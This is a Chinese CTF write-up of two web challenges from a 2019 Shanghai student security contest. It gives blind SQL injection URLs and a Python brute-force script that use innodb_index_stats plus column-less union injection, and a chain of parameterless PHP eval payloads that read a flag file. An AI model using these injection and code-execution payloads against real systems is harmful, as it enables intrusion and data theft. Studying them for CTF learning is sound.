前言

这周六有这个比赛,学到了一个骚姿势,在这里记录一下。

easysql

题目是easysql,看到这个题目感觉问题不是这简单。

打开题目发现是一个未完成的页面,发现可能存在sql注入。

通过简单的尝试我测试出一种绕过的方式: http://47.105.183.208:29898/article.php?id=123%27||(1)%23

继续通过测试发现过滤了一些关键字符串,,or,union select等字符串,让人很头大,虽然能够构造出得到库名的方法http://47.105.183.208:29898/article.php?id=123%27||(database()<'c')%23
但是因为过滤了or这个关键的字符串,没有办法通过mysql的information的表来获取其他表的名字,但是查到了这个版本信息为: 5.6.46

当Mysql>5.6.x时

在Mysql中,存储数据的默认引擎分为两类。一类是在5.5.x之前的MyISAM数据存储引擎,另一类是5.5.x版本后的innodb引擎。并且mysql开发团队在5.5.x版本后将innodb作为数据库的默认引擎。

而在mysql 5.6.x版本起,innodb增添了两个新表,一个是innodb_index_stats,另一个是innodb_table_stats。查阅官方文档,其对这两个新表的解释如下图:

从官方文档我们可以发现两个有用的信息:

  1. 从5.6.x版本开始,innodb_index_stats和innodb_table_stats数据表时自动设置的。
  2. 两个表都会存储数据库和对应的数据表。

唯一遗憾的是没有字段名

这个两个表存储了相应的数据表名等信息,我们可以通过这个表来弥补information表的缺陷。
因此我们可以构造http://47.105.183.208:29898/article.php?id=123%27||((select group_concat(distinct table_name) from mysql.innodb_index_stats)<'0')%23来进行盲注可以得到相应的数据表:article,fl111aa44a99g

由于我们无法知道这里的列明,所以可以选择无列名注入:

http://47.105.183.208:29898/article.php?id=123%27||(substr((select c from (select * from (select 1 `a`)m join (select 0 `i`)o join (select 2 `c`)n  where 0 union/**/select * from fl111aa44a99g)x) from 1)<'0')%23

可以注出flag。

注入脚本为:

import requestsurl = "http://47.105.183.208:29898/article.php?id=123%27||"sql_str ="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-}{~!@$%^&*()_"flag = ""
for i in range(1,40):for j in range(1,len(sql_str)):# payload ="(database()<'"+flag+sql_str[j-1:j]+"')%23"  # database  cccttffff# payload ="(version()<'"+flag+sql_str[j-1:j]+"')%23"  # version  5.6.46# payload ="(substr((select group_concat(distinct table_name) from mysql.innodb_index_stats) from "+str(i)+")<'"+str(sql_str[j-1:j])+"')%23"  #   article,fl111aa44a99gpayload ="(substr((select c from (select * from (select 1 `a`)m join (select 0 `i`)o join (select 2 `c`)n  where 0 union/**/select * from fl111aa44a99g)x) from "+str(i)+")<'"+sql_str[j-1:j]+"')%23"  #   article,flaaagres = requests.get(url=url+payload)print url+payload# print res.text# exit()if '2333333333333'  in res.text:flag += str(sql_str[j-2:j-1])print flagbreak

学到的骚姿势

这里学会了利用innodb_table_stats来注入表名。当过滤了or时可以利用这个表注出表名,再配合无列名注入,注出数据。

decade

打开链接通过源代码,发现了/code这个地址 并且知道flag在当前目录下测试知道为index.php 访问/code得到:

 <?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {echo 'bye~';} else {eval($code);}}else {echo "No way!!!";}
}else {echo "No way!!!";}
No way!!!

发现这道题和byteCTF中的一道题目特别相似,是无参数rce,参考了大佬的做法。

第一个正则if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code));意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数)。就是所谓的无参数RCE。

第二个正则则是过滤了一些字符,限制了我们的代码执行。

我们则需要通过eval($code);来读取flag内容,flag在index.php里面,而code.php则在/code/code.php里面,因此我们需要跨目录到上级目录。

第一步:

发现读文件的函数,我们发现file_get_contentsreadfile等常规的读文件的函数都被ban了,通过尝试我发现了一个file()函数。

file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行。既然是一个数组,我们可以用serialize序列化函数来转成一个字符串。就可以得到这个文件的所有内容了。

那就可以echo(serizalize(file()))读取文件内容了,就差构造文件名。

第二步:

最重要获取文件的目录了,
参考大佬的payload:
crypt(serialize(array()))
首先定义一个数组,然后对其进行序列化的操作,输出为一个字符串,这是常规操作。然后就用到了一个非常关键的函数crypt()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wn1pqpqS-1573209172358)(https://s2.ax1x.com/2019/11/08/MVvWaq.md.png)]
说起来很复杂 , 仅需要知道它可以返回一个加密字符串。
多次尝试之后发现,利用crypt返回一个加密的字符串,加密的字符串末尾有几率出现一个.。基本上是以. / 0 1这些为结尾。以$开头。

因为加密字符串的 " . " 可能会出现在末尾 . 这里很容易想到 用strrev()函数来反转字符串,然后利用chr(ord()) 这个组合,将.给取出来

 ord() : 解析 string 二进制值第一个字节为 0 到 255 范围的无符号整型类型( 不严禁的说就是将字符串第一个字符转换为 ASCII 编码 )chr() : 返回相对应于 ASCII 所0指定的单个字符 , 该函数与 ord() 是对应的~strrev() : 反转字符串

可以利用chr(ord(strrev(crypt(serialize(array())))))得到.

由于scandir(getcwd())中的getcwd()这个函数被过滤了,我们可以用scandir('.')来代替

有了 " . " , 就可以利用 scandir()next() 获得 " … " 了

再利用chdir()函数修改当前目录。

 chdir() : 将 PHP 的当前目录改为指定目录 .

然后再重复上面的操作:
var_dump(scandir(chr(ord(strrev(crypt(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array()))))))))))))));

原理就是先切换到flag所在的目录,然后再通过crypt()函数来对字符串加密得到.然后利用scandir可以得到flag所在的目录的文件名。

猜测文件应该再最后一个利用end来获取文件名,再利用file()来读文件,由于var_dump()被过滤了,采用serialize利用echo输出文件

payload:

/code.php?code=echo(serialize(file(end(scandir(chr(ord(strrev(crypt(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))))))))));


[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w1DMz1JZ-1573209172376)(https://s2.ax1x.com/2019/11/08/MZV7h4.md.png)]

学到获取.骚姿势

Math函数

大佬的payload:
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))

核心思路是 : phpversion() 函数会返回当前PHP的版本号 , 然后可以用 floor() 函数取第一位的数值,只会是5或者7。

有了数字 , 就可以通过各种数学运算拿到数字46 , 也就是ASCII字符 " . " .(膜一波师傅们tql)。

我试了一下,发现无论是5.x.x还是7.x.x都可以通过这和获取46这个数字。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-80WBga43-1573209172380)(https://s2.ax1x.com/2019/11/08/MZmLcj.png)]

利用到的函数:

floor() : 返回不大于 x 的下一个整数 , 简单的说就是向下取整sqrt() : 返回一个数字的平方根tan() : 返回一个数字的正切cosh() : 返回一个数字的双曲余弦sinh() : 返回一个数字的双曲正弦ceil() : 返回不小于一个数字的下一个整数 , 也就是向上取整

通过 chr() 函数就可以返回 ASCII 编码为 46 的字符 , 也就为 " . " , 后面的步骤就和之前一样 ,
跳转到根目录chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))
然后读取 index.php 文件。这里需要使用if函数来确保

测试代码:

<?phpif(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))))var_dump(file(end(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))));

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ayGnVwed-1573209172386)(https://s2.ax1x.com/2019/11/08/MZlN9K.md.png)]

我们可以看到这个字符串很长,如果我们不想利用if函数,我们可以利用time()+localtime()函数来实现操作。

time() : 返回自从 Unix 纪元( 格林威治时间 1970 年 1 月 1 日 00:00:00 )到当前时间的秒数 , 也就是返回一个时间戳localtime() : 以数值数组和关联数组的形式输出本地时间 .

其中localtime关联数组的键名如下:

  • [tm_sec] - 秒数
  • [tm_min] - 分钟数
  • [tm_hour] - 小时
  • [tm_mday] - 月份中的第几天
  • [tm_mon] - 年份中的第几个月,从 0 开始表示一月份
  • [tm_year] - 年份,从 1900 开始
  • [tm_wday] - 星期中的第几天 (Sunday=0)
  • [tm_yday] - 年中的第几天
  • [tm_isdst] - 夏令时当前是否生效
localtime() 数组,可以提取出秒数的值,用chr转换为字符串 在第46秒时提取,可以获得"."localtime() 的第一个参数默认为时间戳 , 也就是 time()的返回值 .time() 的参数为 void 也就是说引入任意的参数都不会影响 , 其输出为当前的时间戳

payload:
var_dump(file(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));

可以写一个脚本一直跑,在每一分钟的46秒都可以读取到flag

localeconv() 函数

核心思路:localeconv() 函数

localeconv() : 返回一个包含本地化数字和货币格式设置信息的关联数组 .
➜  code php -r "var_dump(localeconv());"
array(18) {["decimal_point"]=>string(1) "."["thousands_sep"]=>string(0) ""["int_curr_symbol"]=>string(0) ""["currency_symbol"]=>string(0) ""["mon_decimal_point"]=>string(0) ""["mon_thousands_sep"]=>string(0) ""["positive_sign"]=>string(0) ""["negative_sign"]=>string(0) ""["int_frac_digits"]=>int(127)["frac_digits"]=>int(127)["p_cs_precedes"]=>int(127)["p_sep_by_space"]=>int(127)["n_cs_precedes"]=>int(127)["n_sep_by_space"]=>int(127)["p_sign_posn"]=>int(127)["n_sign_posn"]=>int(127)["grouping"]=>array(0) {}["mon_grouping"]=>array(0) {}
}

可以看到这个数组的第一位就是.
然后可以利用函数将.取出来 current函数pos函数都可以完成操作

➜  code php -r "var_dump(current(localeconv()));"
string(1) "."
➜  code php -r "var_dump(pos(localeconv()));"
string(1) "."
➜  code

然后的操作就和第一种方法一样了。可以使用if函数,或者利用time()+localtime()函数来实现操作。

crypt()函数

首先定义一个数组 , 然后对其进行序列化操作 , 输出序列化字符串 , 这里没什么问题 . 然后就用到一个非常关键的函数 : **crypt()**这个函数会返回一个加密的字符串。 这些字符串常以/ . 0 1结尾,配合chr(ord(strrev()))可以得到.。然后就时跳目录,读取flag
payload:
echo(serialize(file(end(scandir(chr(ord(strrev(crypt(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))))))))));

2019上海市大学生网络安全大赛部分web题解相关推荐

  1. 上海市大学生网络安全大赛题解

    利用周末打了上海市大学生网络安全大赛,最后打了第三,这次的 Misc 真的是难上天,除了签到其他都做不动...膜一波复旦的师傅们.比赛中我打的是 Crypto 和部分 Web,这里也贴了一些队友的 w ...

  2. 第六届上海市大学生网络安全大赛__千毒网盘

    千毒网盘 复现题目,变量销毁和变量重置,sql注入(本地环境有点问题) 文章目录 千毒网盘 源码泄露 变量销毁和变量重置 sql注入 参考链接 源码泄露 源码泄露,找到www.zip,下载,里面有两个 ...

  3. 第六届上海市大学生网络安全大赛 | Wp

    文章目录 MISC 0x00:签到 0x01:pcap 0x02:pcap analysis 0x03: 可乐加冰 Web 0x01:千毒网盘 MISC 0x00:签到 linux运行一下即可得到fl ...

  4. “东华杯”2021年大学生网络安全邀请赛 暨第七届上海市大学生网络安全大赛线上赛MISC-Writeup

    文章目录 checkin project JumpJumpTiger where_can_find_code 题目附件请自取: 链接:https://pan.baidu.com/s/1T9nG-CDg ...

  5. 2019全国大学生软件测试比赛,原创 安恒信息圆满支撑“2019全国大学生软件测试大赛”...

    原标题:安恒信息圆满支撑"2019全国大学生软件测试大赛" 12月1日,2019全国大学生软件测试大赛圆满结束.本届大赛吸引了来自201所院校的10757名学生报名参赛.经过预选赛 ...

  6. 中南大学计算机有网络安全,中南大学2019年大学生网络安全知识竞赛(复赛)成功举行...

    5月26日下午2点,中南大学2019年大学生网络安全知识竞赛(复赛)在新校区A座206教室成功举行,本次大学生网络安全竞赛由中南大学学生工作部(处).共青团中南大学委员会主办,计算机学院承办,以电子政 ...

  7. 2019河北省大学生程序设计竞赛部分题题解

    2019河北省大学生程序设计竞赛 文章目录 A. Battle of Balls B. Icebound and Sequence C. 分治 E. Paper Plane Fly Away F. T ...

  8. 2019全国大学生信息安全大赛线下初体验 --体验黑客的儿童节

    目录 楔子 Day0 Day1 WriteUp 编写EXP Day2 WP(虚假的WP) easy_pwn Message Day2赛果 结尾 楔子 20岁的第一次儿童节,万万没想到,自己竟然真的回到 ...

  9. 吉首大学第十届“新星杯”大学生程序设计大赛 A题题解

    这是一场很毒瘤的比赛. 鲁大师在一个星期前通知我们去打这场比赛,说名次高的有奖品,还说去年他们去参加这场比赛拿了前几名拿了个U盘-(疯狂暗示比赛很简单比赛很简单 ) 单纯的我真的信了 赛后得知这场比赛 ...

最新文章

  1. 【OpenCV 4开发详解】图像连通域分析
  2. Aizu 0525 Osenbei(状压+贪心)
  3. Zookeeper分布式一致性原理(二):一致性协议
  4. GIt本地相关操作(一)
  5. [java]键盘录入数值到数组-根据数值获取角标-找出数据中最大数值-反转数组
  6. how is object structure really created - when the child equipment is downloaded
  7. 代码单元测试:gtest
  8. EntityFramework用法探索(三)CodeFirst流畅API
  9. 转载:用大白话聊聊分布式系统
  10. Python爬虫自学之第(⑤)篇——爬取某宝商品信息
  11. redhat 6.4 mysql_redhat6.4 安装 MySQL 5.6.27
  12. 【智能制造】推进智能制造,他山之石可以攻玉!
  13. 基于51单片机的波形发生器
  14. Linux学习之路-Linux-at及cron命令【7】---20171215
  15. oracle ora 31644,dmp文件损坏导致ORA-39014 ORA-39029 ORA-31693错误
  16. DSPE-PEG-N3 磷脂PEG叠氮
  17. SpringSecurity(二) :授权流程
  18. 易优CMS网站建设类企业网站模板 互联网营销网站模板
  19. 小米 11 Ultra 正式发布,自称 “安卓之光”
  20. Solaris 10u11 安装python2.7.10

热门文章

  1. android指南针功能,轻松实现Android指南针功能
  2. android指南针Demo,谁有安卓简易指南针的DEmo
  3. 苹果手机上的python编程软件-Python编程软件有哪些?
  4. 三季度高歌猛进,广告主为何向微博平台迁移?
  5. 类似微信聊天 日期算法(转换)
  6. B站机房失火导致网站崩溃?网络工程师又又又背锅了……
  7. 硬盘、U盘、软盘之比较
  8. 大数据技术之Spark(一)——Spark概述
  9. 使用着色器模拟雾效果
  10. c盘空间不足的一些删除办法